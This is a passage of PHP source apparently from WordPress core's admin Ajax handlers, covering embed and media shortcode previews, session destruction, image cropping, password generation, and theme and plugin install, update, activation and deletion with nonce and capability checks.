		if ( ! is_multisite() && current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
			$customize_url = $theme->block_theme ? admin_url( 'site-editor.php' ) : wp_customize_url( $theme->slug );

			$theme->customize_url = add_query_arg(
				array(
					'return' => urlencode( network_admin_url( 'theme-install.php', 'relative' ) ),
				),
				$customize_url
			);
		}

		$theme->name        = wp_kses( $theme->name, $themes_allowedtags );
		$theme->author      = wp_kses( $theme->author['display_name'], $themes_allowedtags );
		$theme->version     = wp_kses( $theme->version, $themes_allowedtags );
		$theme->description = wp_kses( $theme->description, $themes_allowedtags );

		$theme->stars = wp_star_rating(
			array(
				'rating' => $theme->rating,
				'type'   => 'percent',
				'number' => $theme->num_ratings,
				'echo'   => false,
			)
		);

		$theme->num_ratings    = number_format_i18n( $theme->num_ratings );
		$theme->preview_url    = set_url_scheme( $theme->preview_url );
		$theme->compatible_wp  = is_wp_version_compatible( $theme->requires );
		$theme->compatible_php = is_php_version_compatible( $theme->requires_php );
	}

	wp_send_json_success( $api );
}

/**
 * Applies [embed] Ajax handlers to a string.
 *
 * @since 4.0.0
 *
 * @global WP_Post    $post       Global post object.
 * @global WP_Embed   $wp_embed   Embed API instance.
 * @global WP_Scripts $wp_scripts
 * @global int        $content_width
 */
function wp_ajax_parse_embed() {
	global $post, $wp_embed, $content_width;

	if ( empty( $_POST['shortcode'] ) ) {
		wp_send_json_error();
	}

	$post_id = isset( $_POST['post_ID'] ) ? (int) $_POST['post_ID'] : 0;

	if ( $post_id > 0 ) {
		$post = get_post( $post_id );

		if ( ! $post || ! current_user_can( 'edit_post', $post->ID ) ) {
			wp_send_json_error();
		}
		setup_postdata( $post );
	} elseif ( ! current_user_can( 'edit_posts' ) ) { // See WP_oEmbed_Controller::get_proxy_item_permissions_check().
		wp_send_json_error();
	}

	$shortcode = wp_unslash( $_POST['shortcode'] );

	preg_match( '/' . get_shortcode_regex() . '/s', $shortcode, $matches );
	$atts = shortcode_parse_atts( $matches[3] );

	if ( ! empty( $matches[5] ) ) {
		$url = $matches[5];
	} elseif ( ! empty( $atts['src'] ) ) {
		$url = $atts['src'];
	} else {
		$url = '';
	}

	$parsed                         = false;
	$wp_embed->return_false_on_fail = true;

	if ( 0 === $post_id ) {
		/*
		 * Refresh oEmbeds cached outside of posts that are past their TTL.
		 * Posts are excluded because they have separate logic for refreshing
		 * their post meta caches. See WP_Embed::cache_oembed().
		 */
		$wp_embed->usecache = false;
	}

	if ( is_ssl() && str_starts_with( $url, 'http://' ) ) {
		/*
		 * Admin is ssl and the user pasted non-ssl URL.
		 * Check if the provider supports ssl embeds and use that for the preview.
		 */
		$ssl_shortcode = preg_replace( '%^(\\[embed[^\\]]*\\])http://%i', '$1https://', $shortcode );
		$parsed        = $wp_embed->run_shortcode( $ssl_shortcode );

		if ( ! $parsed ) {
			$no_ssl_support = true;
		}
	}

	// Set $content_width so any embeds fit in the destination iframe.
	if ( isset( $_POST['maxwidth'] ) && is_numeric( $_POST['maxwidth'] ) && $_POST['maxwidth'] > 0 ) {
		if ( ! isset( $content_width ) ) {
			$content_width = (int) $_POST['maxwidth'];
		} else {
			$content_width = min( $content_width, (int) $_POST['maxwidth'] );
		}
	}

	if ( $url && ! $parsed ) {
		$parsed = $wp_embed->run_shortcode( $shortcode );
	}

	if ( ! $parsed ) {
		wp_send_json_error(
			array(
				'type'    => 'not-embeddable',
				/* translators: %s: URL that could not be embedded. */
				'message' => sprintf( __( '%s failed to embed.' ), '<code>' . esc_html( $url ) . '</code>' ),
			)
		);
	}

	if ( has_shortcode( $parsed, 'audio' ) || has_shortcode( $parsed, 'video' ) ) {
		$styles     = '';
		$mce_styles = wpview_media_sandbox_styles();

		foreach ( $mce_styles as $style ) {
			$styles .= sprintf( '<link rel="stylesheet" href="%s" />', $style );
		}

		$html = do_shortcode( $parsed );

		global $wp_scripts;

		if ( ! empty( $wp_scripts ) ) {
			$wp_scripts->done = array();
		}

		ob_start();
		wp_print_scripts( array( 'mediaelement-vimeo', 'wp-mediaelement' ) );
		$scripts = ob_get_clean();

		$parsed = $styles . $html . $scripts;
	}

	if ( ! empty( $no_ssl_support ) || ( is_ssl() && ( preg_match( '%<(iframe|script|embed) [^>]*src="http://%', $parsed ) ||
		preg_match( '%<link [^>]*href="http://%', $parsed ) ) ) ) {
		// Admin is ssl and the embed is not. Iframes, scripts, and other "active content" will be blocked.
		wp_send_json_error(
			array(
				'type'    => 'not-ssl',
				'message' => __( 'This preview is unavailable in the editor.' ),
			)
		);
	}

	$return = array(
		'body' => $parsed,
		'attr' => $wp_embed->last_attr,
	);

	if ( str_contains( $parsed, 'class="wp-embedded-content' ) ) {
		if ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) {
			$script_src = includes_url( 'js/wp-embed.js' );
		} else {
			$script_src = includes_url( 'js/wp-embed.min.js' );
		}

		$return['head']    = '<script src="' . $script_src . '"></script>';
		$return['sandbox'] = true;
	}

	wp_send_json_success( $return );
}

/**
 * @since 4.0.0
 *
 * @global WP_Post    $post       Global post object.
 * @global WP_Scripts $wp_scripts
 */
function wp_ajax_parse_media_shortcode() {
	global $post, $wp_scripts;

	if ( empty( $_POST['shortcode'] ) ) {
		wp_send_json_error();
	}

	$shortcode = wp_unslash( $_POST['shortcode'] );

	// Only process previews for media related shortcodes:
	$found_shortcodes = get_shortcode_tags_in_content( $shortcode );
	$media_shortcodes = array(
		'audio',
		'embed',
		'playlist',
		'video',
		'gallery',
	);

	$other_shortcodes = array_diff( $found_shortcodes, $media_shortcodes );

	if ( ! empty( $other_shortcodes ) ) {
		wp_send_json_error();
	}

	if ( ! empty( $_POST['post_ID'] ) ) {
		$post = get_post( (int) $_POST['post_ID'] );
	}

	// The embed shortcode requires a post.
	if ( ! $post || ! current_user_can( 'edit_post', $post->ID ) ) {
		if ( in_array( 'embed', $found_shortcodes, true ) ) {
			wp_send_json_error();
		}
	} else {
		setup_postdata( $post );
	}

	$parsed = do_shortcode( $shortcode );

	if ( empty( $parsed ) ) {
		wp_send_json_error(
			array(
				'type'    => 'no-items',
				'message' => __( 'No items found.' ),
			)
		);
	}

	$head   = '';
	$styles = wpview_media_sandbox_styles();

	foreach ( $styles as $style ) {
		$head .= '<link type="text/css" rel="stylesheet" href="' . $style . '">';
	}

	if ( ! empty( $wp_scripts ) ) {
		$wp_scripts->done = array();
	}

	ob_start();

	echo $parsed;

	if ( 'playlist' === $_REQUEST['type'] ) {
		wp_underscore_playlist_templates();

		wp_print_scripts( 'wp-playlist' );
	} else {
		wp_print_scripts( array( 'mediaelement-vimeo', 'wp-mediaelement' ) );
	}

	wp_send_json_success(
		array(
			'head' => $head,
			'body' => ob_get_clean(),
		)
	);
}

/**
 * Handles destroying multiple open sessions for a user via AJAX.
 *
 * @since 4.1.0
 */
function wp_ajax_destroy_sessions() {
	$user = get_userdata( (int) $_POST['user_id'] );

	if ( $user ) {
		if ( ! current_user_can( 'edit_user', $user->ID ) ) {
			$user = false;
		} elseif ( ! wp_verify_nonce( $_POST['nonce'], 'update-user_' . $user->ID ) ) {
			$user = false;
		}
	}

	if ( ! $user ) {
		wp_send_json_error(
			array(
				'message' => __( 'Could not log out user sessions. Please try again.' ),
			)
		);
	}

	$sessions = WP_Session_Tokens::get_instance( $user->ID );

	if ( get_current_user_id() === $user->ID ) {
		$sessions->destroy_others( wp_get_session_token() );
		$message = __( 'You are now logged out everywhere else.' );
	} else {
		$sessions->destroy_all();
		/* translators: %s: User's display name. */
		$message = sprintf( __( '%s has been logged out.' ), $user->display_name );
	}

	wp_send_json_success( array( 'message' => $message ) );
}

/**
 * Handles cropping an image via AJAX.
 *
 * @since 4.3.0
 */
function wp_ajax_crop_image() {
	$attachment_id = absint( $_POST['id'] );

	check_ajax_referer( 'image_editor-' . $attachment_id, 'nonce' );

	if ( empty( $attachment_id ) || ! current_user_can( 'edit_post', $attachment_id ) ) {
		wp_send_json_error();
	}

	$context = str_replace( '_', '-', $_POST['context'] );
	$data    = array_map( 'absint', $_POST['cropDetails'] );
	$cropped = wp_crop_image( $attachment_id, $data['x1'], $data['y1'], $data['width'], $data['height'], $data['dst_width'], $data['dst_height'] );

	if ( ! $cropped || is_wp_error( $cropped ) ) {
		wp_send_json_error( array( 'message' => __( 'Image could not be processed.' ) ) );
	}

	switch ( $context ) {
		case 'site-icon':
			require_once ABSPATH . 'wp-admin/includes/class-wp-site-icon.php';
			$wp_site_icon = new WP_Site_Icon();

			// Skip creating a new attachment if the attachment is a Site Icon.
			if ( get_post_meta( $attachment_id, '_wp_attachment_context', true ) == $context ) {

				// Delete the temporary cropped file, we don't need it.
				wp_delete_file( $cropped );

				// Additional sizes in wp_prepare_attachment_for_js().
				add_filter( 'image_size_names_choose', array( $wp_site_icon, 'additional_sizes' ) );
				break;
			}

			/** This filter is documented in wp-admin/includes/class-custom-image-header.php */
			$cropped = apply_filters( 'wp_create_file_in_uploads', $cropped, $attachment_id ); // For replication.

			// Copy attachment properties.
			$attachment = wp_copy_parent_attachment_properties( $cropped, $attachment_id, $context );

			// Update the attachment.
			add_filter( 'intermediate_image_sizes_advanced', array( $wp_site_icon, 'additional_sizes' ) );
			$attachment_id = $wp_site_icon->insert_attachment( $attachment, $cropped );
			remove_filter( 'intermediate_image_sizes_advanced', array( $wp_site_icon, 'additional_sizes' ) );

			// Additional sizes in wp_prepare_attachment_for_js().
			add_filter( 'image_size_names_choose', array( $wp_site_icon, 'additional_sizes' ) );
			break;

		default:
			/**
			 * Fires before a cropped image is saved.
			 *
			 * Allows to add filters to modify the way a cropped image is saved.
			 *
			 * @since 4.3.0
			 *
			 * @param string $context       The Customizer control requesting the cropped image.
			 * @param int    $attachment_id The attachment ID of the original image.
			 * @param string $cropped       Path to the cropped image file.
			 */
			do_action( 'wp_ajax_crop_image_pre_save', $context, $attachment_id, $cropped );

			/** This filter is documented in wp-admin/includes/class-custom-image-header.php */
			$cropped = apply_filters( 'wp_create_file_in_uploads', $cropped, $attachment_id ); // For replication.

			// Copy attachment properties.
			$attachment = wp_copy_parent_attachment_properties( $cropped, $attachment_id, $context );

			$attachment_id = wp_insert_attachment( $attachment, $cropped );
			$metadata      = wp_generate_attachment_metadata( $attachment_id, $cropped );

			/**
			 * Filters the cropped image attachment metadata.
			 *
			 * @since 4.3.0
			 *
			 * @see wp_generate_attachment_metadata()
			 *
			 * @param array $metadata Attachment metadata.
			 */
			$metadata = apply_filters( 'wp_ajax_cropped_attachment_metadata', $metadata );
			wp_update_attachment_metadata( $attachment_id, $metadata );

			/**
			 * Filters the attachment ID for a cropped image.
			 *
			 * @since 4.3.0
			 *
			 * @param int    $attachment_id The attachment ID of the cropped image.
			 * @param string $context       The Customizer control requesting the cropped image.
			 */
			$attachment_id = apply_filters( 'wp_ajax_cropped_attachment_id', $attachment_id, $context );
	}

	wp_send_json_success( wp_prepare_attachment_for_js( $attachment_id ) );
}

/**
 * Handles generating a password via AJAX.
 *
 * @since 4.4.0
 */
function wp_ajax_generate_password() {
	wp_send_json_success( wp_generate_password( 24 ) );
}

/**
 * Handles generating a password in the no-privilege context via AJAX.
 *
 * @since 5.7.0
 */
function wp_ajax_nopriv_generate_password() {
	wp_send_json_success( wp_generate_password( 24 ) );
}

/**
 * Handles saving the user's WordPress.org username via AJAX.
 *
 * @since 4.4.0
 */
function wp_ajax_save_wporg_username() {
	if ( ! current_user_can( 'install_themes' ) && ! current_user_can( 'install_plugins' ) ) {
		wp_send_json_error();
	}

	check_ajax_referer( 'save_wporg_username_' . get_current_user_id() );

	$username = isset( $_REQUEST['username'] ) ? wp_unslash( $_REQUEST['username'] ) : false;

	if ( ! $username ) {
		wp_send_json_error();
	}

	wp_send_json_success( update_user_meta( get_current_user_id(), 'wporg_favorites', $username ) );
}

/**
 * Handles installing a theme via AJAX.
 *
 * @since 4.6.0
 *
 * @see Theme_Upgrader
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 */
function wp_ajax_install_theme() {
	check_ajax_referer( 'updates' );

	if ( empty( $_POST['slug'] ) ) {
		wp_send_json_error(
			array(
				'slug'         => '',
				'errorCode'    => 'no_theme_specified',
				'errorMessage' => __( 'No theme specified.' ),
			)
		);
	}

	$slug = sanitize_key( wp_unslash( $_POST['slug'] ) );

	$status = array(
		'install' => 'theme',
		'slug'    => $slug,
	);

	if ( ! current_user_can( 'install_themes' ) ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to install themes on this site.' );
		wp_send_json_error( $status );
	}

	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	require_once ABSPATH . 'wp-admin/includes/theme.php';

	$api = themes_api(
		'theme_information',
		array(
			'slug'   => $slug,
			'fields' => array( 'sections' => false ),
		)
	);

	if ( is_wp_error( $api ) ) {
		$status['errorMessage'] = $api->get_error_message();
		wp_send_json_error( $status );
	}

	$skin     = new WP_Ajax_Upgrader_Skin();
	$upgrader = new Theme_Upgrader( $skin );
	$result   = $upgrader->install( $api->download_link );

	if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
		$status['debug'] = $skin->get_upgrade_messages();
	}

	if ( is_wp_error( $result ) ) {
		$status['errorCode']    = $result->get_error_code();
		$status['errorMessage'] = $result->get_error_message();
		wp_send_json_error( $status );
	} elseif ( is_wp_error( $skin->result ) ) {
		$status['errorCode']    = $skin->result->get_error_code();
		$status['errorMessage'] = $skin->result->get_error_message();
		wp_send_json_error( $status );
	} elseif ( $skin->get_errors()->has_errors() ) {
		$status['errorMessage'] = $skin->get_error_messages();
		wp_send_json_error( $status );
	} elseif ( is_null( $result ) ) {
		global $wp_filesystem;

		$status['errorCode']    = 'unable_to_connect_to_filesystem';
		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );

		// Pass through the error from WP_Filesystem if one was raised.
		if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
			$status['errorMessage'] = esc_html( $wp_filesystem->errors->get_error_message() );
		}

		wp_send_json_error( $status );
	}

	$status['themeName'] = wp_get_theme( $slug )->get( 'Name' );

	if ( current_user_can( 'switch_themes' ) ) {
		if ( is_multisite() ) {
			$status['activateUrl'] = add_query_arg(
				array(
					'action'   => 'enable',
					'_wpnonce' => wp_create_nonce( 'enable-theme_' . $slug ),
					'theme'    => $slug,
				),
				network_admin_url( 'themes.php' )
			);
		} else {
			$status['activateUrl'] = add_query_arg(
				array(
					'action'     => 'activate',
					'_wpnonce'   => wp_create_nonce( 'switch-theme_' . $slug ),
					'stylesheet' => $slug,
				),
				admin_url( 'themes.php' )
			);
		}
	}

	$theme                = wp_get_theme( $slug );
	$status['blockTheme'] = $theme->is_block_theme();

	if ( ! is_multisite() && current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
		$status['customizeUrl'] = add_query_arg(
			array(
				'return' => urlencode( network_admin_url( 'theme-install.php', 'relative' ) ),
			),
			wp_customize_url( $slug )
		);
	}

	/*
	 * See WP_Theme_Install_List_Table::_get_theme_status() if we wanted to check
	 * on post-installation status.
	 */
	wp_send_json_success( $status );
}

/**
 * Handles updating a theme via AJAX.
 *
 * @since 4.6.0
 *
 * @see Theme_Upgrader
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 */
function wp_ajax_update_theme() {
	check_ajax_referer( 'updates' );

	if ( empty( $_POST['slug'] ) ) {
		wp_send_json_error(
			array(
				'slug'         => '',
				'errorCode'    => 'no_theme_specified',
				'errorMessage' => __( 'No theme specified.' ),
			)
		);
	}

	$stylesheet = preg_replace( '/[^A-z0-9_\-]/', '', wp_unslash( $_POST['slug'] ) );
	$status     = array(
		'update'     => 'theme',
		'slug'       => $stylesheet,
		'oldVersion' => '',
		'newVersion' => '',
	);

	if ( ! current_user_can( 'update_themes' ) ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to update themes for this site.' );
		wp_send_json_error( $status );
	}

	$theme = wp_get_theme( $stylesheet );
	if ( $theme->exists() ) {
		$status['oldVersion'] = $theme->get( 'Version' );
	}

	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';

	$current = get_site_transient( 'update_themes' );
	if ( empty( $current ) ) {
		wp_update_themes();
	}

	$skin     = new WP_Ajax_Upgrader_Skin();
	$upgrader = new Theme_Upgrader( $skin );
	$result   = $upgrader->bulk_upgrade( array( $stylesheet ) );

	if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
		$status['debug'] = $skin->get_upgrade_messages();
	}

	if ( is_wp_error( $skin->result ) ) {
		$status['errorCode']    = $skin->result->get_error_code();
		$status['errorMessage'] = $skin->result->get_error_message();
		wp_send_json_error( $status );
	} elseif ( $skin->get_errors()->has_errors() ) {
		$status['errorMessage'] = $skin->get_error_messages();
		wp_send_json_error( $status );
	} elseif ( is_array( $result ) && ! empty( $result[ $stylesheet ] ) ) {

		// Theme is already at the latest version.
		if ( true === $result[ $stylesheet ] ) {
			$status['errorMessage'] = $upgrader->strings['up_to_date'];
			wp_send_json_error( $status );
		}

		$theme = wp_get_theme( $stylesheet );
		if ( $theme->exists() ) {
			$status['newVersion'] = $theme->get( 'Version' );
		}

		wp_send_json_success( $status );
	} elseif ( false === $result ) {
		global $wp_filesystem;

		$status['errorCode']    = 'unable_to_connect_to_filesystem';
		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );

		// Pass through the error from WP_Filesystem if one was raised.
		if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
			$status['errorMessage'] = esc_html( $wp_filesystem->errors->get_error_message() );
		}

		wp_send_json_error( $status );
	}

	// An unhandled error occurred.
	$status['errorMessage'] = __( 'Theme update failed.' );
	wp_send_json_error( $status );
}

/**
 * Handles deleting a theme via AJAX.
 *
 * @since 4.6.0
 *
 * @see delete_theme()
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 */
function wp_ajax_delete_theme() {
	check_ajax_referer( 'updates' );

	if ( empty( $_POST['slug'] ) ) {
		wp_send_json_error(
			array(
				'slug'         => '',
				'errorCode'    => 'no_theme_specified',
				'errorMessage' => __( 'No theme specified.' ),
			)
		);
	}

	$stylesheet = preg_replace( '/[^A-z0-9_\-]/', '', wp_unslash( $_POST['slug'] ) );
	$status     = array(
		'delete' => 'theme',
		'slug'   => $stylesheet,
	);

	if ( ! current_user_can( 'delete_themes' ) ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to delete themes on this site.' );
		wp_send_json_error( $status );
	}

	if ( ! wp_get_theme( $stylesheet )->exists() ) {
		$status['errorMessage'] = __( 'The requested theme does not exist.' );
		wp_send_json_error( $status );
	}

	// Check filesystem credentials. `delete_theme()` will bail otherwise.
	$url = wp_nonce_url( 'themes.php?action=delete&stylesheet=' . urlencode( $stylesheet ), 'delete-theme_' . $stylesheet );

	ob_start();
	$credentials = request_filesystem_credentials( $url );
	ob_end_clean();

	if ( false === $credentials || ! WP_Filesystem( $credentials ) ) {
		global $wp_filesystem;

		$status['errorCode']    = 'unable_to_connect_to_filesystem';
		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );

		// Pass through the error from WP_Filesystem if one was raised.
		if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
			$status['errorMessage'] = esc_html( $wp_filesystem->errors->get_error_message() );
		}

		wp_send_json_error( $status );
	}

	require_once ABSPATH . 'wp-admin/includes/theme.php';

	$result = delete_theme( $stylesheet );

	if ( is_wp_error( $result ) ) {
		$status['errorMessage'] = $result->get_error_message();
		wp_send_json_error( $status );
	} elseif ( false === $result ) {
		$status['errorMessage'] = __( 'Theme could not be deleted.' );
		wp_send_json_error( $status );
	}

	wp_send_json_success( $status );
}

/**
 * Handles installing a plugin via AJAX.
 *
 * @since 4.6.0
 *
 * @see Plugin_Upgrader
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 */
function wp_ajax_install_plugin() {
	check_ajax_referer( 'updates' );

	if ( empty( $_POST['slug'] ) ) {
		wp_send_json_error(
			array(
				'slug'         => '',
				'errorCode'    => 'no_plugin_specified',
				'errorMessage' => __( 'No plugin specified.' ),
			)
		);
	}

	$status = array(
		'install' => 'plugin',
		'slug'    => sanitize_key( wp_unslash( $_POST['slug'] ) ),
	);

	if ( ! current_user_can( 'install_plugins' ) ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to install plugins on this site.' );
		wp_send_json_error( $status );
	}

	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	require_once ABSPATH . 'wp-admin/includes/plugin-install.php';

	$api = plugins_api(
		'plugin_information',
		array(
			'slug'   => sanitize_key( wp_unslash( $_POST['slug'] ) ),
			'fields' => array(
				'sections' => false,
			),
		)
	);

	if ( is_wp_error( $api ) ) {
		$status['errorMessage'] = $api->get_error_message();
		wp_send_json_error( $status );
	}

	$status['pluginName'] = $api->name;

	$skin     = new WP_Ajax_Upgrader_Skin();
	$upgrader = new Plugin_Upgrader( $skin );
	$result   = $upgrader->install( $api->download_link );

	if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
		$status['debug'] = $skin->get_upgrade_messages();
	}

	if ( is_wp_error( $result ) ) {
		$status['errorCode']    = $result->get_error_code();
		$status['errorMessage'] = $result->get_error_message();
		wp_send_json_error( $status );
	} elseif ( is_wp_error( $skin->result ) ) {
		$status['errorCode']    = $skin->result->get_error_code();
		$status['errorMessage'] = $skin->result->get_error_message();
		wp_send_json_error( $status );
	} elseif ( $skin->get_errors()->has_errors() ) {
		$status['errorMessage'] = $skin->get_error_messages();
		wp_send_json_error( $status );
	} elseif ( is_null( $result ) ) {
		global $wp_filesystem;

		$status['errorCode']    = 'unable_to_connect_to_filesystem';
		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );

		// Pass through the error from WP_Filesystem if one was raised.
		if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
			$status['errorMessage'] = esc_html( $wp_filesystem->errors->get_error_message() );
		}

		wp_send_json_error( $status );
	}

	$install_status = install_plugin_install_status( $api );
	$pagenow        = isset( $_POST['pagenow'] ) ? sanitize_key( $_POST['pagenow'] ) : '';

	// If installation request is coming from import page, do not return network activation link.
	$plugins_url = ( 'import' === $pagenow ) ? admin_url( 'plugins.php' ) : network_admin_url( 'plugins.php' );

	if ( current_user_can( 'activate_plugin', $install_status['file'] ) && is_plugin_inactive( $install_status['file'] ) ) {
		$status['activateUrl'] = add_query_arg(
			array(
				'_wpnonce' => wp_create_nonce( 'activate-plugin_' . $install_status['file'] ),
				'action'   => 'activate',
				'plugin'   => $install_status['file'],
			),
			$plugins_url
		);
	}

	if ( is_multisite() && current_user_can( 'manage_network_plugins' ) && 'import' !== $pagenow ) {
		$status['activateUrl'] = add_query_arg( array( 'networkwide' => 1 ), $status['activateUrl'] );
	}

	wp_send_json_success( $status );
}

/**
 * Handles activating a plugin via AJAX.
 *
 * @since 6.5.0
 */
function wp_ajax_activate_plugin() {
	check_ajax_referer( 'updates' );

	if ( empty( $_POST['name'] ) || empty( $_POST['slug'] ) || empty( $_POST['plugin'] ) ) {
		wp_send_json_error(
			array(
				'slug'         => '',
				'pluginName'   => '',
				'plugin'       => '',
				'errorCode'    => 'no_plugin_specified',
				'errorMessage' => __( 'No plugin specified.' ),
			)
		);
	}

	$status = array(
		'activate'   => 'plugin',
		'slug'       => wp_unslash( $_POST['slug'] ),
		'pluginName' => wp_unslash( $_POST['name'] ),
		'plugin'     => wp_unslash( $_POST['plugin'] ),
	);

	if ( ! current_user_can( 'activate_plugin', $status['plugin'] ) ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to activate plugins on this site.' );
		wp_send_json_error( $status );
	}

	if ( is_plugin_active( $status['plugin'] ) ) {
		$status['errorMessage'] = sprintf(
			/* translators: %s: Plugin name. */
			__( '%s is already active.' ),
			$status['pluginName']
		);
	}

	$activated = activate_plugin( $status['plugin'] );

	if ( is_wp_error( $activated ) ) {
		$status['errorMessage'] = $activated->get_error_message();
		wp_send_json_error( $status );
	}

	wp_send_json_success( $status );
}

/**
 * Handles updating a plugin via AJAX.
 *
 * @since 4.2.0
 *
 * @see Plugin_Upgrader
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 */
function wp_ajax_update_plugin() {
	check_ajax_referer( 'updates' );

	if ( empty( $_POST['plugin'] ) || empty( $_POST['slug'] ) ) {
		wp_send_json_error(
			array(
				'slug'         => '',
				'errorCode'    => 'no_plugin_specified',
				'errorMessage' => __( 'No plugin specified.' ),
			)
		);
	}

	$plugin = plugin_basename( sanitize_text_field( wp_unslash( $_POST['plugin'] ) ) );

	$status = array(
		'update'     => 'plugin',
		'slug'       => sanitize_key( wp_unslash( $_POST['slug'] ) ),
		'oldVersion' => '',
		'newVersion' => '',
	);

	if ( ! current_user_can( 'update_plugins' ) || 0 !== validate_file( $plugin ) ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to update plugins for this site.' );
		wp_send_json_error( $status );
	}

	$plugin_data          = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );
	$status['plugin']     = $plugin;
	$status['pluginName'] = $plugin_data['Name'];

	if ( $plugin_data['Version'] ) {
		/* translators: %s: Plugin version. */
		$status['oldVersion'] = sprintf( __( 'Version %s' ), $plugin_data['Version'] );
	}

	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';

	wp_update_plugins();

	$skin     = new WP_Ajax_Upgrader_Skin();
	$upgrader = new Plugin_Upgrader( $skin );
	$result   = $upgrader->bulk_upgrade( array( $plugin ) );

	if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
		$status['debug'] = $skin->get_upgrade_messages();
	}

	if ( is_wp_error( $skin->result ) ) {
		$status['errorCode']    = $skin->result->get_error_code();
		$status['errorMessage'] = $skin->result->get_error_message();
		wp_send_json_error( $status );
	} elseif ( $skin->get_errors()->has_errors() ) {
		$status['errorMessage'] = $skin->get_error_messages();
		wp_send_json_error( $status );
	} elseif ( is_array( $result ) && ! empty( $result[ $plugin ] ) ) {

		/*
		 * Plugin is already at the latest version.
		 *
		 * This may also be the return value if the `update_plugins` site transient is empty,
		 * e.g. when you update two plugins in quick succession before the transient repopulates.
		 *
		 * Preferably something can be done to ensure `update_plugins` isn't empty.
		 * For now, surface some sort of error here.
		 */
		if ( true === $result[ $plugin ] ) {
			$status['errorMessage'] = $upgrader->strings['up_to_date'];
			wp_send_json_error( $status );
		}

		$plugin_data = get_plugins( '/' . $result[ $plugin ]['destination_name'] );
		$plugin_data = reset( $plugin_data );

		if ( $plugin_data['Version'] ) {
			/* translators: %s: Plugin version. */
			$status['newVersion'] = sprintf( __( 'Version %s' ), $plugin_data['Version'] );
		}

		wp_send_json_success( $status );
	} elseif ( false === $result ) {
		global $wp_filesystem;

		$status['errorCode']    = 'unable_to_connect_to_filesystem';
		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );

		// Pass through the error from WP_Filesystem if one was raised.
		if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
			$status['errorMessage'] = esc_html( $wp_filesystem->errors->get_error_message() );
		}

		wp_send_json_error( $status );
	}

	// An unhandled error occurred.
	$status['errorMessage'] = __( 'Plugin update failed.' );
	wp_send_json_error( $status );
}

/**
 * Handles deleting a plugin via AJAX.
 *
 * @since 4.6.0
 *
 * @see delete_plugins()
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 */
function wp_ajax_delete_plugin() {
	check_ajax_referer( 'updates' );

	if ( empty( $_POST['slug'] ) || empty( $_POST['plugin'] ) ) {
		wp_send_json_error(
			array(
				'slug'         => '',
				'errorCode'    => 'no_plugin_specified',
				'errorMessage' => __( 'No plugin specified.' ),
			)
		);
	}

	$plugin = plugin_basename( sanitize_text_field( wp_unslash( $_POST['plugin'] ) ) );

	$status = array(
		'delete' => 'plugin',
		'slug'   => sanitize_key( wp_unslash( $_POST['slug'] ) ),
	);

	if ( ! current_user_can( 'delete_plugins' ) || 0 !== validate_file( $plugin ) ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to delete plugins for this site.' );
		wp_send_json_error( $status );
	}

	$plugin_data          = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );
	$status['plugin']     = $plugin;
	$status['pluginName'] = $plugin_data['Name'];

	if ( is_plugin_active( $plugin ) ) {
		$status['errorMessage'] = __( 'You cannot delete a plugin while it is active on the main site.' );
		wp_send_json_error( $status );
	}

	// Check filesystem credentials. `delete_plugins()` will bail otherwise.
	$url = wp_nonce_url( 'plugins.php?action=delete-selected&verify-delete=1&checked[]=' . $plugin, 'bulk-plugins' );

	ob_start();
	$credentials = request_filesystem_credentials( $url );
	ob_end_clean();

	if ( false === $credentials || ! WP_Filesystem( $credentials ) ) {
		global $wp_filesystem;

		$status['errorCode']    = 'unable_to_connect_to_filesystem';
		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );

		// Pass through the error from WP_Filesystem if one was raised.
		if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
			$status['errorMessage'] = esc_html( $wp_filesystem->errors->get_error_message() );
		}

		wp_send_json_error( $status );
	}

	$result = delete_plugins( array( $plugin ) );

	if ( is_wp_error( $result ) ) {
		$status['errorMessage'] = $result->get_error_message();
